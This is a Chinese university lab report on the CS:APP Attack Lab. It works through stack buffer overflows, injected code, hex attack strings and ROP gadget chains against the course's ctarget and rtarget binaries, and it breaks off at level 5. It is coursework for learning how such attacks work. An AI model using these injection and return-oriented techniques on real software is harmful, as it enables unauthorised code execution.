计算机系统基础-Attack Lab 实验报告
**中国海洋大学 计算机科学与技术系**
实验报告
姓名:火
年级:2022
专业:
科目:计算机系统原理
题目:Attack Lab
实验时间:2023/12/22
实验成绩:
实验教师:
一、实验目的:
本次实验涉及到具有安全漏洞的两个函数ctarget
和rtarget
,总共包括 5 关。通过本实验你将学习到:
- 当程序不能很好地防止缓冲区溢出时,攻击者可以利用安全漏洞的不同方式
- 更好地了解如何编写更安全的程序,以及编译器和操作系统提供的一些功能,以使程序不易受到攻击
- 更深入地了解 x86-64 机器代码的堆栈和参数传递机制
- 更深入地了解 x86-64 指令的编码方式
- 获得更多使用 GDB 和 OBJDUMP 等调试工具的经验
二、实验要求:
在攻击字符串中供
ret
使用的任何地址只能是以下地址:- 函数
touch1
、touch2
和touch3
的地址 - 注入的代码的地址
farm.c
中gadget
的地址
- 函数
只能使用
ret
指令控制程序执行流,不能使用jmp
、call
等指令
三、实验内容:
· 准备工作:
先将ctarget
代码反汇编
1 | objdump -d ctarget > c.txt |
· 第一关:
第一关不需要注入新的代码,只需要利用输入的字符串控制函数的执行流程,使它跳转到
touch1
函数并执行。函数
getbuf
在 test 函数中被调用:1
2
3
4
5
6void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}当
getbuf
函数执行return
语句返回时,会恢复到test
函数继续执行printf
语句。在
ctarget
中有一个函数touch1
:1
2
3
4
5
6
7void touch1()
{
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}第一关的任务是使
getbuf
返回时跳转到touch1
函数开始执行,而不是返回到test
函数继续执行找到
getbuf
函数的反汇编代码:1
2
3
4
5
6
7
80000000000401e92 <getbuf>:
401e92: f3 0f 1e fa endbr64
401e96: 48 83 ec 18 sub $0x18,%rsp
401e9a: 48 89 e7 mov %rsp,%rdi
401e9d: e8 b5 02 00 00 callq 402157 <Gets>
401ea2: b8 01 00 00 00 mov $0x1,%eax
401ea7: 48 83 c4 18 add $0x18,%rsp
401eab: c3 retq显然,这一阶段不需要注入新的代码,只需要用攻击字符串覆盖
getbuf
的返回值,即使getbuf
结尾处的ret指令
将控制转移到touch1
。从第二行指令
sub $0x18,%rsp
可以得出getbuf
创建的缓冲区大小为0x18
字节。再查看
touch1
的反汇编:1
2
3
4
5
6
7
8
9
10
11
12
130000000000401eac <touch1>:
401eac: f3 0f 1e fa endbr64
401eb0: 50 push %rax
401eb1: 58 pop %rax
401eb2: 48 83 ec 08 sub $0x8,%rsp
401eb6: c7 05 3c 56 00 00 01 movl $0x1,0x563c(%rip) # 4074fc <vlevel>
401ebd: 00 00 00
401ec0: 48 8d 3d 71 24 00 00 lea 0x2471(%rip),%rdi # 404338 <_IO_stdin_used+0x338>
401ec7: e8 c4 f3 ff ff callq 401290 <puts@plt>
401ecc: bf 01 00 00 00 mov $0x1,%edi
401ed1: e8 f4 04 00 00 callq 4023ca <validate>
401ed6: bf 00 00 00 00 mov $0x0,%edi
401edb: e8 10 f5 ff ff callq 4013f0 <exit@plt>发现
touch1
的首地址是0x401eac
。由此就有了思路,我们只需要输入25个字符,前24个字节将
getbuf
的栈空间填满,最后一个字节将返回值覆盖为0x4017c0
即touch1
的地址,这样,在getbuf
执行retq
指令后,程序就会跳转执行touch1
函数。采用
Write up
推荐方法,创建一个txt
文档存储输入。并按照HEX2RAW
工具的说明,在每个字节间用空格或回车隔开。注意我们这里要用小端法,即输入的字符串要写成ac 1e 40
这样,开辟的24字节空间里面填什么无所谓。最后我们可以填成这样:level1.txt
:1
2
3
4
5
600 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上字符是填充满整个缓冲区(24字节)从而溢出
ac 1e 40 00 00 00 00 00
//用函数touch1的起始地址覆盖原先的返回地址调用
hex2raw
生成攻击字符串,并攻击ctarget
。1
2
3
4
5
6
7
8
9
10
11ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level1.txt > level1raw.txt
ouc@islouc-vm:~/Desktop/target393$ ./ctarget -qi level1raw.txt
Cookie: 0x175f75bc
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id 22090001016
course 15213-f15
lab attacklab
result 393:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 1E 40 00 00 00 00 00
· 第二关:
第⼆关需要注入少量代码作为漏洞注入字符串的一部分
在
ctarget
中有一个函数touch2
:1
2
3
4
5
6
7
8
9
10
11
12void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}第⼆关的任务是使
getbuf
返回时跳转到touch2
函数开始执行,而不是返回到test
函数继续执行,与touch1
不同的是touch2
需要将cookie
作为参数传递,即0x175f75bc
。查看
touch2
的反汇编:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
250000000000401ee0 <touch2>:
401ee0: f3 0f 1e fa endbr64
401ee4: 50 push %rax
401ee5: 58 pop %rax
401ee6: 48 83 ec 08 sub $0x8,%rsp
401eea: 89 fa mov %edi,%edx
401eec: c7 05 06 56 00 00 02 movl $0x2,0x5606(%rip) # 4074fc <vlevel>
401ef3: 00 00 00
401ef6: 39 3d 08 56 00 00 cmp %edi,0x5608(%rip) # 407504 <cookie>
401efc: 74 2a je 401f28 <touch2+0x48>
401efe: 48 8d 35 83 24 00 00 lea 0x2483(%rip),%rsi # 404388 <_IO_stdin_used+0x388>
401f05: bf 01 00 00 00 mov $0x1,%edi
401f0a: b8 00 00 00 00 mov $0x0,%eax
401f0f: e8 8c f4 ff ff callq 4013a0 <__printf_chk@plt>
401f14: bf 02 00 00 00 mov $0x2,%edi
401f19: e8 80 05 00 00 callq 40249e <fail>
401f1e: bf 00 00 00 00 mov $0x0,%edi
401f23: e8 c8 f4 ff ff callq 4013f0 <exit@plt>
401f28: 48 8d 35 31 24 00 00 lea 0x2431(%rip),%rsi # 404360 <_IO_stdin_used+0x360>
401f2f: bf 01 00 00 00 mov $0x1,%edi
401f34: b8 00 00 00 00 mov $0x0,%eax
401f39: e8 62 f4 ff ff callq 4013a0 <__printf_chk@plt>
401f3e: bf 02 00 00 00 mov $0x2,%edi
401f43: e8 82 04 00 00 callq 4023ca <validate>
401f48: eb d4 jmp 401f1e <touch2+0x3e>函数的第一个参数放在
%rdi
寄存器里面,显然,这里我们不能直接输入字符串,需要借助汇编语言来实现。具体解题思路如下:- 将正常的返回地址设置成为注入代码的地址,这次注入直接在栈顶注入,即设置为
%rsp
cookie
的值写在%rdi
里- 获取
touch2
的首地址,即0x401ee0
- 要调用
touch2
,却不能用call
jmp
等命令,所以只能用ret
弹出,在弹出之前要先把touch2
地址压栈。
- 将正常的返回地址设置成为注入代码的地址,这次注入直接在栈顶注入,即设置为
即我们的汇编代码为:
1
2
3mov $0x175f75bc, %rdi
pushq $0x401ee0
ret命令行里编译再查看其反汇编:
1
2ouc@islouc-vm:~/Desktop/target393$ gcc -c attack2.s
ouc@islouc-vm:~/Desktop/target393$ objdump -d attack2.o > attack2.txt查看
attack2.txt
:1
2
3
4
5
6
7
8
9attack2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 bc 75 5f 17 mov $0x175f75bc,%rdi
7: 68 e0 1e 40 00 pushq $0x401ee0
c: c3 retq观察
getbuf
:1
2
3
4
5
6
7
80000000000401e92 <getbuf>:
401e92: f3 0f 1e fa endbr64
401e96: 48 83 ec 18 sub $0x18,%rsp
401e9a: 48 89 e7 mov %rsp,%rdi
401e9d: e8 b5 02 00 00 callq 402157 <Gets>
401ea2: b8 01 00 00 00 mov $0x1,%eax
401ea7: 48 83 c4 18 add $0x18,%rsp
401eab: c3 retq这三条指令地址我们就有了,就是每行反汇编最前面的一长串十六进制数字,接着我们去找
%rsp
在哪,借助gdb
。1
2
3
4
5
6
7ouc@islouc-vm:~/Desktop/target393$ gdb ctarget
pwndbg> b *0x401ea2
pwndbg> run -q
pwndbg> p/x $rsp0x55613b18
就是我们应该修改的返回地址将这段代码放到40个字节中的开头,代码地址放到末尾。于是就得到输入为:
1
2
3
448 c7 c7 bc 75 5f 17 68
e0 1e 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
18 3b 61 55 00 00 00 00使用
hex2raw
生成攻击字符串,并攻击ctarget
。1
2
3
4
5
6
7
8
9
10
11ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level2.txt > level2raw.txt
ouc@islouc-vm:~/Desktop/target393$ ./ctarget -qi level2raw.txt
Cookie: 0x175f75bc
Touch2!: You called touch2(0x175f75bc)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id 22090001016
course 15213-f15
lab attacklab
result 393:PASS:0xffffffff:ctarget:2:48 C7 C7 BC 75 5F 17 68 E0 1E 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 18 3B 61 55 00 00 00 00
· 第三关:
第三关也需要注入代码
在
ctarget
中有函数hexmatch
和touch1
:1
2
3
4
5
6
7
8
9/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}1
2
3
4
5
6
7
8
9
10
11
12void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}第三关的任务是使
getbuf
返回时跳转到touch3
函数开始执行,而不是返回到test
函数继续
执行,与touch2
不同的是touch3
需要将cookie
的字符串形式作为参数传递查看
touch3
的反汇编:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
280000000000402005 <touch3>:
402005: f3 0f 1e fa endbr64
402009: 53 push %rbx
40200a: 48 89 fb mov %rdi,%rbx
40200d: c7 05 e5 54 00 00 03 movl $0x3,0x54e5(%rip) # 4074fc <vlevel>
402014: 00 00 00
402017: 48 89 fe mov %rdi,%rsi
40201a: 8b 3d e4 54 00 00 mov 0x54e4(%rip),%edi # 407504 <cookie>
402020: e8 25 ff ff ff callq 401f4a <hexmatch>
402025: 85 c0 test %eax,%eax
402027: 74 2d je 402056 <touch3+0x51>
402029: 48 89 da mov %rbx,%rdx
40202c: 48 8d 35 7d 23 00 00 lea 0x237d(%rip),%rsi # 4043b0 <_IO_stdin_used+0x3b0>
402033: bf 01 00 00 00 mov $0x1,%edi
402038: b8 00 00 00 00 mov $0x0,%eax
40203d: e8 5e f3 ff ff callq 4013a0 <__printf_chk@plt>
402042: bf 03 00 00 00 mov $0x3,%edi
402047: e8 7e 03 00 00 callq 4023ca <validate>
40204c: bf 00 00 00 00 mov $0x0,%edi
402051: e8 9a f3 ff ff callq 4013f0 <exit@plt>
402056: 48 89 da mov %rbx,%rdx
402059: 48 8d 35 78 23 00 00 lea 0x2378(%rip),%rsi # 4043d8 <_IO_stdin_used+0x3d8>
402060: bf 01 00 00 00 mov $0x1,%edi
402065: b8 00 00 00 00 mov $0x0,%eax
40206a: e8 31 f3 ff ff callq 4013a0 <__printf_chk@plt>
40206f: bf 03 00 00 00 mov $0x3,%edi
402074: e8 25 04 00 00 callq 40249e <fail>
402079: eb d1 jmp 40204c <touch3+0x47>再查看
hexmatch
的反汇编:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
520000000000401f4a <hexmatch>:
401f4a: f3 0f 1e fa endbr64
401f4e: 41 55 push %r13
401f50: 41 54 push %r12
401f52: 55 push %rbp
401f53: 53 push %rbx
401f54: 48 81 ec 88 00 00 00 sub $0x88,%rsp
401f5b: 89 fd mov %edi,%ebp
401f5d: 48 89 f3 mov %rsi,%rbx
401f60: 41 bc 28 00 00 00 mov $0x28,%r12d
401f66: 64 49 8b 04 24 mov %fs:(%r12),%rax
401f6b: 48 89 44 24 78 mov %rax,0x78(%rsp)
401f70: 31 c0 xor %eax,%eax
401f72: e8 f9 f3 ff ff callq 401370 <random@plt>
401f77: 48 89 c1 mov %rax,%rcx
401f7a: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401f81: 0a d7 a3
401f84: 48 f7 ea imul %rdx
401f87: 48 01 ca add %rcx,%rdx
401f8a: 48 c1 fa 06 sar $0x6,%rdx
401f8e: 48 89 c8 mov %rcx,%rax
401f91: 48 c1 f8 3f sar $0x3f,%rax
401f95: 48 29 c2 sub %rax,%rdx
401f98: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401f9c: 48 8d 04 80 lea (%rax,%rax,4),%rax
401fa0: 48 c1 e0 02 shl $0x2,%rax
401fa4: 48 29 c1 sub %rax,%rcx
401fa7: 4c 8d 2c 0c lea (%rsp,%rcx,1),%r13
401fab: 41 89 e8 mov %ebp,%r8d
401fae: 48 8d 0d a0 23 00 00 lea 0x23a0(%rip),%rcx # 404355 <_IO_stdin_used+0x355>
401fb5: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
401fbc: be 01 00 00 00 mov $0x1,%esi
401fc1: 4c 89 ef mov %r13,%rdi
401fc4: b8 00 00 00 00 mov $0x0,%eax
401fc9: e8 62 f4 ff ff callq 401430 <__sprintf_chk@plt>
401fce: ba 09 00 00 00 mov $0x9,%edx
401fd3: 4c 89 ee mov %r13,%rsi
401fd6: 48 89 df mov %rbx,%rdi
401fd9: e8 92 f2 ff ff callq 401270 <strncmp@plt>
401fde: 85 c0 test %eax,%eax
401fe0: 0f 94 c0 sete %al
401fe3: 48 8b 5c 24 78 mov 0x78(%rsp),%rbx
401fe8: 64 49 33 1c 24 xor %fs:(%r12),%rbx
401fed: 75 11 jne 402000 <hexmatch+0xb6>
401fef: 0f b6 c0 movzbl %al,%eax
401ff2: 48 81 c4 88 00 00 00 add $0x88,%rsp
401ff9: 5b pop %rbx
401ffa: 5d pop %rbp
401ffb: 41 5c pop %r12
401ffd: 41 5d pop %r13
401fff: c3 retq
402000: e8 ab f2 ff ff callq 4012b0 <__stack_chk_fail@plt>同时,
test
:1
2
3
4
5
6
7
8
9
10
11
12000000000040207b <test>:
40207b: f3 0f 1e fa endbr64
40207f: 48 83 ec 08 sub $0x8,%rsp
402083: b8 00 00 00 00 mov $0x0,%eax
402088: e8 05 fe ff ff callq 401e92 <getbuf>
40208d: 89 c2 mov %eax,%edx
40208f: 48 8d 35 6a 23 00 00 lea 0x236a(%rip),%rsi # 404400 <_IO_stdin_used+0x400>
402096: bf 01 00 00 00 mov $0x1,%edi
40209b: b8 00 00 00 00 mov $0x0,%eax
4020a0: e8 fb f2 ff ff callq 4013a0 <__printf_chk@plt>
4020a5: 48 83 c4 08 add $0x8,%rsp
4020a9: c3 retq同理,借助
gdb
查看调用hexmatch
,0x55613b40
就是我们应该修改的返回地址1
2
3
4
5
6
7ouc@islouc-vm:~/Desktop/target393$ gdb ctarget
pwndbg> b *0x402083
pwndbg> run -q
pwndbg> p/x $rsp而
touch3
的起始地址为0x402005
新建
attack3.s
储存1
2
3mov $0x55613b38, %rdi
pushq $0x402005
ret命令行里编译再查看其反汇编:
1
2ouc@islouc-vm:~/Desktop/target393$ gcc -c attack3.s
ouc@islouc-vm:~/Desktop/target393$ objdump -d attack3.o > attack3.txt查看
attack3.txt
:1
2
3
4
5
6
7
8
9attack3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 38 3b 61 55 mov $0x55613b38,%rdi
7: 68 05 20 40 00 pushq $0x402005
c: c3 retqcookie
值0x175f75bc
的 ACSII码 为31 37 35 66 37 35 62 63 00
,末尾的00
是字符串结束标识符\n
。故,攻击字符串
level3.txt
:1
2
3
4
5
6
7
848 c7 c7 38 3b 61 55 68
05 20 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(24字节)从而溢出
18 3b 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
31 37 35 66 37 35 62 63 00
//cookie值的ACSII码使用
hex2raw
生成攻击字符串,并攻击ctarget
。1
2
3
4
5
6
7
8
9
10
11ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level3.txt > level3raw.txt
ouc@islouc-vm:~/Desktop/target393$ ./ctarget -qi level3raw.txt
Cookie: 0x175f75bc
Touch3!: You called touch3("175f75bc")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id 22090001016
course 15213-f15
lab attacklab
result 393:PASS:0xffffffff:ctarget:3:48 C7 C7 38 3B 61 55 68 05 20 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 18 3B 61 55 00 00 00 00 31 37 35 66 37 35 62 63 00
· 第四关:
要求:
- 只能使用前八个x86-64寄存器
%rax-%rdi
; - 只能使用
movq
,popq
,ret
,nop
的gadget
; - 只能使用两个
gadget
完成攻击;
- 只能使用前八个x86-64寄存器
本题的任务与
Phase 2
相同,都是要求返回到touch2
函数,Phase 2
中用到的注入代码为:1
2
3mov $0x175f75bc, %rdi
pushq $0x401ee0
ret我们先把
rtarget
反汇编文件弄出来1
objdump -d rtarget > r.txt
跟
farm
有关的部分:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
21900000000004020aa <start_farm>:
4020aa: f3 0f 1e fa endbr64
4020ae: b8 01 00 00 00 mov $0x1,%eax
4020b3: c3 retq
00000000004020b4 <setval_118>:
4020b4: f3 0f 1e fa endbr64
4020b8: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4020be: c3 retq
00000000004020bf <getval_282>:
4020bf: f3 0f 1e fa endbr64
4020c3: b8 48 89 c7 c7 mov $0xc7c78948,%eax
4020c8: c3 retq
00000000004020c9 <setval_393>:
4020c9: f3 0f 1e fa endbr64
4020cd: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4020d3: c3 retq
00000000004020d4 <setval_245>:
4020d4: f3 0f 1e fa endbr64
4020d8: c7 07 48 8d c7 c3 movl $0xc3c78d48,(%rdi)
4020de: c3 retq
00000000004020df <getval_494>:
4020df: f3 0f 1e fa endbr64
4020e3: b8 58 90 90 c3 mov $0xc3909058,%eax
4020e8: c3 retq
00000000004020e9 <addval_281>:
4020e9: f3 0f 1e fa endbr64
4020ed: 8d 87 58 90 90 c3 lea -0x3c6f6fa8(%rdi),%eax
4020f3: c3 retq
00000000004020f4 <getval_477>:
4020f4: f3 0f 1e fa endbr64
4020f8: b8 53 58 92 90 mov $0x90925853,%eax
4020fd: c3 retq
00000000004020fe <getval_279>:
4020fe: f3 0f 1e fa endbr64
402102: b8 2f 58 91 90 mov $0x9091582f,%eax
402107: c3 retq
0000000000402108 <mid_farm>:
402108: f3 0f 1e fa endbr64
40210c: b8 01 00 00 00 mov $0x1,%eax
402111: c3 retq
0000000000402112 <add_xy>:
402112: f3 0f 1e fa endbr64
402116: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
40211a: c3 retq
000000000040211b <addval_303>:
40211b: f3 0f 1e fa endbr64
40211f: 8d 87 89 c2 38 c9 lea -0x36c73d77(%rdi),%eax
402125: c3 retq
0000000000402126 <addval_187>:
402126: f3 0f 1e fa endbr64
40212a: 8d 87 8b d1 84 d2 lea -0x2d7b2e75(%rdi),%eax
402130: c3 retq
0000000000402131 <addval_460>:
402131: f3 0f 1e fa endbr64
402135: 8d 87 89 d1 84 c9 lea -0x367b2e77(%rdi),%eax
40213b: c3 retq
000000000040213c <addval_399>:
40213c: f3 0f 1e fa endbr64
402140: 8d 87 a0 89 c2 94 lea -0x6b3d7660(%rdi),%eax
402146: c3 retq
0000000000402147 <getval_305>:
402147: f3 0f 1e fa endbr64
40214b: b8 48 89 e0 c3 mov $0xc3e08948,%eax
402150: c3 retq
0000000000402151 <getval_263>:
402151: f3 0f 1e fa endbr64
402155: b8 48 8d e0 c3 mov $0xc3e08d48,%eax
40215a: c3 retq
000000000040215b <getval_370>:
40215b: f3 0f 1e fa endbr64
40215f: b8 8c 8b d1 90 mov $0x90d18b8c,%eax
402164: c3 retq
0000000000402165 <getval_291>:
402165: f3 0f 1e fa endbr64
402169: b8 48 8d e0 c3 mov $0xc3e08d48,%eax
40216e: c3 retq
000000000040216f <setval_374>:
40216f: f3 0f 1e fa endbr64
402173: c7 07 89 ce 20 d2 movl $0xd220ce89,(%rdi)
402179: c3 retq
000000000040217a <getval_294>:
40217a: f3 0f 1e fa endbr64
40217e: b8 48 09 e0 90 mov $0x90e00948,%eax
402183: c3 retq
0000000000402184 <getval_327>:
402184: f3 0f 1e fa endbr64
402188: b8 f4 c9 c2 c3 mov $0xc3c2c9f4,%eax
40218d: c3 retq
000000000040218e <addval_143>:
40218e: f3 0f 1e fa endbr64
402192: 8d 87 48 89 e0 90 lea -0x6f1f76b8(%rdi),%eax
402198: c3 retq
0000000000402199 <getval_379>:
402199: f3 0f 1e fa endbr64
40219d: b8 09 ce 90 c3 mov $0xc390ce09,%eax
4021a2: c3 retq
00000000004021a3 <setval_398>:
4021a3: f3 0f 1e fa endbr64
4021a7: c7 07 89 ce 28 c9 movl $0xc928ce89,(%rdi)
4021ad: c3 retq
00000000004021ae <setval_215>:
4021ae: f3 0f 1e fa endbr64
4021b2: c7 07 89 d1 84 d2 movl $0xd284d189,(%rdi)
4021b8: c3 retq
00000000004021b9 <getval_223>:
4021b9: f3 0f 1e fa endbr64
4021bd: b8 89 c2 c3 e2 mov $0xe2c3c289,%eax
4021c2: c3 retq
00000000004021c3 <addval_468>:
4021c3: f3 0f 1e fa endbr64
4021c7: 8d 87 8d d1 84 d2 lea -0x2d7b2e73(%rdi),%eax
4021cd: c3 retq
00000000004021ce <addval_350>:
4021ce: f3 0f 1e fa endbr64
4021d2: 8d 87 89 ce 08 c9 lea -0x36f73177(%rdi),%eax
4021d8: c3 retq
00000000004021d9 <addval_146>:
4021d9: f3 0f 1e fa endbr64
4021dd: 8d 87 8b d1 90 c3 lea -0x3c6f2e75(%rdi),%eax
4021e3: c3 retq
00000000004021e4 <setval_161>:
4021e4: f3 0f 1e fa endbr64
4021e8: c7 07 89 c2 18 db movl $0xdb18c289,(%rdi)
4021ee: c3 retq
00000000004021ef <getval_254>:
4021ef: f3 0f 1e fa endbr64
4021f3: b8 89 ce 18 c9 mov $0xc918ce89,%eax
4021f8: c3 retq
00000000004021f9 <addval_476>:
4021f9: f3 0f 1e fa endbr64
4021fd: 8d 87 6c 89 ce c7 lea -0x38317694(%rdi),%eax
402203: c3 retq
0000000000402204 <getval_136>:
402204: f3 0f 1e fa endbr64
402208: b8 09 c2 84 d2 mov $0xd284c209,%eax
40220d: c3 retq
000000000040220e <addval_428>:
40220e: f3 0f 1e fa endbr64
402212: 8d 87 d1 a9 c2 90 lea -0x6f3d562f(%rdi),%eax
402218: c3 retq
0000000000402219 <getval_341>:
402219: f3 0f 1e fa endbr64
40221d: b8 81 ce 08 c9 mov $0xc908ce81,%eax
402222: c3 retq
0000000000402223 <getval_172>:
402223: f3 0f 1e fa endbr64
402227: b8 48 89 e0 c7 mov $0xc7e08948,%eax
40222c: c3 retq
000000000040222d <getval_435>:
40222d: f3 0f 1e fa endbr64
402231: b8 d9 4c 89 e0 mov $0xe0894cd9,%eax
402236: c3 retq
0000000000402237 <getval_262>:
402237: f3 0f 1e fa endbr64
40223b: b8 8b d1 20 d2 mov $0xd220d18b,%eax
402240: c3 retq
0000000000402241 <setval_323>:
402241: f3 0f 1e fa endbr64
402245: c7 07 68 89 e0 c3 movl $0xc3e08968,(%rdi)
40224b: c3 retq
000000000040224c <getval_214>:
40224c: f3 0f 1e fa endbr64
402250: b8 ee 8b c2 90 mov $0x90c28bee,%eax
402255: c3 retq
0000000000402256 <setval_220>:
402256: f3 0f 1e fa endbr64
40225a: c7 07 c9 ce 90 90 movl $0x9090cec9,(%rdi)
402260: c3 retq
0000000000402261 <getval_194>:
402261: f3 0f 1e fa endbr64
402265: b8 89 d1 00 c0 mov $0xc000d189,%eax
40226a: c3 retq
000000000040226b <end_farm>:
40226b: f3 0f 1e fa endbr64
40226f: b8 01 00 00 00 mov $0x1,%eax
402274: c3 retq和Level 2一样将
cookie
存储进寄存器%rdi
内。所以需要在rterget
中找到相应gadget
,可以凑出相应的能够实现攻击的指令。先将寄存器%rax
的值设置为cookie
,然后复制给%rdi
。,可以拼凑出代码为:1
2
3
4
5popq %rax
ret
movq %rax, %rdi
ret查表知,
pop %rax
用58
表示,查找58
1
2
3
400000000004020e9 <addval_281>:
4020e9: f3 0f 1e fa endbr64
4020ed: 8d 87 58 90 90 c3 lea -0x3c6f6fa8(%rdi),%eax
4020f3: c3 retq得到指令地址为
0x4020ef
movq %rax, %rdi
表示为48 89 c7
,其中 90 表示“空”,可以忽略1
2
3
400000000004020c9 <setval_393>:
4020c9: f3 0f 1e fa endbr64
4020cd: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4020d3: c3 retq得到指令地址为
0x4020cf
故攻击字符串
level4.txt
:1
2
3
4
5
6
7
8
9
10
11
1200 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上代码填满整个缓冲区以致溢出
ef 20 40 00 00 00 00 00
//用gadget1(popq %rat ret)的起始地址覆盖原先的返回地址
bc 75 5f 17 00 00 00 00
//cookie
cf 20 40 00 00 00 00 00
//gadget2(mov %rax,%rdi ret)的起始地址
e0 1e 40 00 00 00 00 00
//touch2的起始地址发起进攻:
1
2
3
4
5
6
7
8
9
10
11ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level4.txt > level4raw.txt
ouc@islouc-vm:~/Desktop/target393$ ./rtarget -qi level4raw.txt
Cookie: 0x175f75bc
Touch2!: You called touch2(0x175f75bc)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id 22090001016
course 15213-f15
lab attacklab
result 393:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EF 20 40 00 00 00 00 00 BC 75 5F 17 00 00 00 00 CF 20 40 00 00 00 00 00 E0 1E 40 00 00 00 00 00
· 第五关:
要求:
- 只能使用前八个x86-64寄存器
%rax-%rdi
; - 可以使用
movq
,movl
,popq
,ret
,nop
的gadget
; - 可以使用在
rtarget
代码中在start_farm
和end_farm
区域内的任意gadget
完成攻击; - 至少需要8个
gadget
实现此次攻击。
- 只能使用前八个x86-64寄存器
本题的任务与
Phase 3
相同,都是要求返回到touch3
函数Phase 3
中用到的注入代码为:1
2
3mov $0x55613b38, %rdi
pushq $0x402005
retPhase 3
一样,需要将寄存器%rdi
的值设置为cookie
字符串的指针,即存储cookie
字符串的地址。找到满足要求的
gadget
拼凑出攻击指令1
2
3
4movq %rsp,%rax //传递栈顶位置栈顶位置
//因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp+x处
add $x ,%rax
movq %rax,%rdi //将cookie字符串地址传递给%rdi因此我们需要找到一个能够实现加法或减法的运算的
gadget
,但是参考文件中并没有相关的字节编码,需要寻找其他方法:1
2
3
40000000000402112 <add_xy>:
402112: f3 0f 1e fa endbr64
402116: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
40211a: c3 retq通过观察可以通过上述代码来实现一个加法运算,
lea (%rdi,%rsi,1) %rax
的是%rax = %rdi + %rsi
传递的是地址,所以只要能够让%rdi
和%rsi
其中一个保存%rsp
,另一个保存从stack中pop
出来的偏移值,就可以表示cookie
字符串存放的地址。所以分成两部分代码:- 把
%rsp
存放到%rdi
中 - 把偏移值(需要确定指令数后才能确定)存放到
%rsi
中
- 把
在上述代码中并没有
movq %rax,%rsi
的gadget,只能通过过%eax
->%edx
->%ecx
->%esi
来实现。即将%eax
的值设置为cookie
字符串地址在栈中的偏移量并复制给%esi
需要注意的是,上面两部分完成任务的寄存器不能互换,因为从%eax
到%esi
的值传递mov
指令都是4byte
的操作,如果对%rsp
的值采用这种方式,%rsp
的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。最后的指令为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16mov %rsp,%rax
ret
mov %rax,%rdi #先将栈顶%rsp存入%rdi内
ret
popq %rax #将偏移量赋值给%eax
ret
movl %eax,%edx
ret
movl %edx,%ecx
ret
movl %ecx,%esi #%esi = 偏移量
ret
lea (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov %rax,%rdi #%rdi = cookie字符地址
ret可以看到在返回地址和字符串首地址之间有9条指令,每个指令8个byte,共72 byte也就是
0x48
。攻击字符串
level5.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
